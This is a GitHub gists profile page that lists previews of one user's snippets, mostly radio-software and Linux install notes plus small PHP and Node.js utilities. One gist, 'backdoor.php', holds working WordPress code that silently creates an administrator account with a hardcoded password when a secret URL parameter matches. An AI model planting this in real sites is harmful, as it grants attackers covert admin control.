Skip to content

Instantly share code, notes, and snippets.

View Rotron's full-sized avatar

Federico Saccà Rotron

View GitHub Profile
@Rotron
Rotron / zram_install_instructions.txt
Created January 16, 2019 11:34 — forked from SeanChristopherConway/zram_install_instructions.txt
Install zram on a linux box(tested on raspberry pi jessie, stretch and also on ubuntu 16)
sudo wget -O /usr/bin/zram.sh https://raw.githubusercontent.com/novaspirit/rpi_zram/master/zram.sh
sudo chmod +x /usr/bin/zram.sh
sudo chmod +x /usr/bin/zram.sh
sudo nano /lib/systemd/system/zram.service
---- copy below to the file you just nano'd
[Unit]
Description=Enables zram
After=multi-user.target
@Rotron
Rotron / backdoor.php
Created January 31, 2019 11:17 — forked from jgalea/backdoor.php
Create a backdoor to a WordPress website.
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
play -t raw -e signed -c 1 -b 32 -r 44100 test

Overview

This document describes how to compile GQRX using native OSX Qt 5 and libraries from brew.

Requierements

Skip any part if you have corresponding component already installed.

Mac OS X 10.10 Yosemite

Once you have found some TETRA signals, record their frequencies. Now close SDR#, or whatever software you were using and boot into Linux. In this tutorial we use a 32-bit Ubuntu 14.04 virtual machine running on VMWare Player as our Linux system. Some of the commands may vary if you are using a different system.
Install the software
Note: There is now a telive live Linux image available. This will allow you to boot via a USB drive straight into a Linux OS with telive preinstalled. If you want the easy way out, or have trouble with the install script below, then try this image.
Note 2: As of October 2016 there is now a Windows port of the Telive decoding software available. This may be an option for you if you prefer to run in Windows. More information here.
This install script will automatically download the software and all the required prequisites including the RTL-SDR drivers. If you have problems consult the documentation or try a manual install. Instructions for the manual install are shown at the en
@Rotron
Rotron / chattervox_install_macos.md
Created March 8, 2019 12:08 — forked from danc256/chattervox_install_macos.md
Chattervox Install Instructions

Chattervox on MacOS

Install Direwolf

The official Direwolf User Manual uses MacPorts to manage installation and dependencies. I don't particularly like MacPorts, so here are some instructions for installing Direwolf via Homebrew.

Install Direwolf via Homebrew

@Rotron
Rotron / index.js
Created March 28, 2019 15:24
Write buffer to file nodejs
var crypto = require('crypto');
var fs = require('fs');
var wstream = fs.createWriteStream('myBinaryFile');
// creates random Buffer of 100 bytes
var buffer = crypto.randomBytes(100);
wstream.write(buffer);
// create another Buffer of 100 bytes and write
wstream.write(crypto.randomBytes(100));
wstream.end();
@Rotron
Rotron / latlong_to_locator.php
Created June 6, 2019 08:40 — forked from magicbug/latlong_to_locator.php
Latlong to Locator (Gridsquare) PHP Example
<?php
// Example Lat/Long aka IO91js
$latitude = "51.756435";
$longitude = "-1.246042";
echo latlong_to_locator($latitude, $longitude);
function latlong_to_locator ($latitude, $longitude) {
@Rotron
Rotron / server.php
Last active June 29, 2025 13:10
PHP Telnet Server With Menu
#!/usr/local/bin/php -q
<?php
//a little bit of fun with a socket server
error_reporting(E_ALL);
/* Allow the script to hang around waiting for connections. */
set_time_limit(0);
/* Turn on implicit output flushing so we see what we're getting
* as it comes in. */
ob_implicit_flush();